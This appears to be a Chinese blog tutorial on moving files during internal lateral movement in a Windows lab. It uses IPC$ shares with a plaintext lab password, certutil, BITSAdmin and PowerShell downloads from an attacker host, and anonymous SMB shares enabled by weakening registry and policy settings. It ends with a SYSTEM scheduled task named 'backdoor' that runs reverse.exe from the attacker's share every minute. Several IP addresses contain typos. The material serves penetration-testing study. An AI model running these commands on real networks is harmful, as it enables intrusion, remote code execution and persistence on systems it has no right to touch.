内网横向——文件传输


网络拓扑:
在这里插入图片描述
攻击机kali IP:192.168.111.0
跳板机win7 IP:192.168.111.128,192.168.52.143
靶机win server 2008 IP:192.168.52.138

一、通过网络共享

所谓的网络共享,也就是IPC连接,网络共享可以实现局域网之间的文件共享。

建立IPC连接的两个条件:

  • 远程主机开启IPC连接;
  • 远程主机开启139端口和445端口。

1、查看系统是否开启默认共享,是否开放139、445端口

net share # 查看网络共享是否开启
netstat -ano -p tcp # 查看端口开放情况,linux是-t指定具体协议

在这里插入图片描述
2、与远程主机建立IPC连接,需要知道远程主机的用户名和密码。

net use \\192.168.52.18\ipc$ hongrisec@2024. /user:god\liukaifeng01 # 建立IPC连接
# net use \\<ip>\ipc$ <possword> /user:<userrname>
net use # 查看已连接的网络共享

在这里插入图片描述
在这里插入图片描述
3、使用IPC连接进行shell传输。后续通过写计划任务,就可以让反弹shell执行,详情请参考内网横向——计划任务

copy reverse.exe \\192.1168.52.138\c$ # 上传文件
dir \\192.168.52.138\C$ # 查看目标主机C盘根目录

net time \\192.168.52.138 # 查看目标主机上的系统时间

在这里插入图片描述
在这里插入图片描述

4、查看远程主机上运行的进程

tasklist /S 192.168.52.138 /U god\admonistrator /P 

在这里插入图片描述
5、通过IPC连接,读取目标主机上的文件内容

type \\192.168.52.138\c$\hacker.txt

在这里插入图片描述

二、通过windows自带工具

2.1 certutil

certutil提供了从网络中下载文件的功能,可以从远程主机上执行certutil命令下载恶意文件。具体命令如下:

certutil -urlcache -split -f http://192.168.111.0:9999/test.php test.php # 下载到当前目录

在这里插入图片描述

2.2 BITSAdmin

Bitsadmin是一个windows命令行工具,可以用于创建、下载或上传作业,监视其进度。win 7以后的版本自带Bitsadmin。相关命令如下:

# 创建一个名为test的Bitsadmin任务,下载tunnel.php到当前目录下
bitsadmin /transfer test http://192.168.111.0:9999/tunnel.php c:\tunel.php

这里只能用绝对路径。certutil既可以用绝对路径,也可以用相对路径。

在这里插入图片描述

2.3 powershell

参考powershell远程加载执行的思路,可以通过创建Webclient对象来实现文件下载。命令如下:

(New-Object Net.Webclient).DownloadFile('http://192.168.111.0:9999/tunnel.php','tunnel.php')

在这里插入图片描述

三、SMB服务传输文件

3.1 SMB基础

SMB(Server Message Block,服务器消息块),又称CIFS(Common Internet File System,网络共享系统),基于应用层的网络传输协议,主要功能是使网络上的计算机能共享计算机文件、打印机、串行端口等资源。SMB消息一般使用NetBIOS协议或TCP发送,分别使用端口139445端口,目前一般使用445端口

在实际中,测试人员可以在所控内网主机上搭建SMB服务器,将需要横向传输的文件如攻击载荷等放入SMB服务器的共享目录,并指定UNC路径,让横向移动的目标主机能远程加载SMB共享文件。注意:需使用SMB匿名共享,并且搭建的SMB服务器能被目标访问到。

利用场景:开启支持匿名访问的文件共享后,其他用户不需要输入用户名和口令,可以直接访问文件服务器的共享文件。

参考:渗透技巧——通过命令行开启Windows系统的匿名访问共享

3.2 UNC路径

windows系统使用UNC路径来访问网络共享资源,格式如下:

\\servername\sharename\directory\filename

其中,servername是主机名,sharename是网络共享的名称,directory和filename分别为该共享下的目录和文件。

3.3 windows

3.3.1 手动搭建SMB匿名共享服务

这里使用域管理员用户进行操作,至于其他用户可不可行还得继续验证。
1、启用Guest用户

net user guest /active:yes

在这里插入图片描述
2、将Everyone权限应用于匿名用户。

REG ADD "HKLM\System\CurrentControlSet\Control\Lsa" /v EveryoneIncludesAnonymous /t REG_DWORD /d 1 /f

在这里插入图片描述
3、指定匿名共享文件的位置

匿名共享文件位置,也从命令中看不到啊?

REG ADD "HKLM\System\CurrentControlSet\Services\LanManServer\Parameters" /v NullSessionShares /t REG_MULTI_SZ /d smb /f

在这里插入图片描述
4、将Guest用户从策略“拒绝从网络访问这台计算机”中移除。
导出组策略

secedit /export /cfg gp.inf /quiet

在这里插入图片描述
修改文件gp.inf,将SeDenyNetworkLogonRight = Guest修改为SeDenyNetworkLogonRight =,保存。
在这里插入图片描述

重新导入组策略,会在桌面生成一个gp.sdb的文件。

secedit /configure /db gp.sdb /cfg gp.inf /quiet

在这里插入图片描述
强制刷新组策略,立即生效(否则,重启后生效):

gpupdate/force

在这里插入图片描述

5、设置文件共享

icacls C:\share\ /T /grant Everyone:r
net share share=c:\share /grant:everyone,full

在这里插入图片描述
可匿名访问的文件共享服务器开启成功。

6、在win server 2008中访问的地址为\\192.168.52.143
在这里插入图片描述

在这里插入图片描述

3.3.2 脚本搭建SMB匿名共享服务

powershell脚本:Invoke-BuildAnonymousSMBServer需要本地管理员权限执行,已测试过windows系统:

  • Windows 7
  • Windows 8
  • Windows 10
  • Windows Server 2012
  • Windows Server 2012 R2
  • Windows Server 2016

开启可匿名访问的文件共享服务器:

import-module .\Invoke-BuildAnonymousSMBServer.ps1
Invoke-BuildAnonymousSMBServer -Path c:\share -Mode Enable

在这里插入图片描述
在这里插入图片描述
关闭可匿名访问的文件共享服务器:

Invoke-BuildAnonymousSMBServer -Path c:\share -Mode Disable

在这里插入图片描述
在这里插入图片描述

3.4 linux

这里以kali为例,直接使用impacket-smbserver包。如果使用smbserver.py,需要注意python版本。

impacket-smbserver evilsmb /root/share -smb2support

在这里插入图片描述

win 7上可以直接通过UNC路径访问。

在这里插入图片描述

使用UNC路径给192.168.52.138写一个计划任务,加载192.168.111.0上的共享文件并执行。前提是:192.168.52.138能够访问到192.168.111.0。

schtasks /create /S 192.168.52.138 /tn backdoor /sc minute /mo 1 /tr \\1922.168.111.0\evilsmb\reverse.exe /ru system /f /U god\administrator /P hongrisec@2024.
  • 21
    点赞
  • 24
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值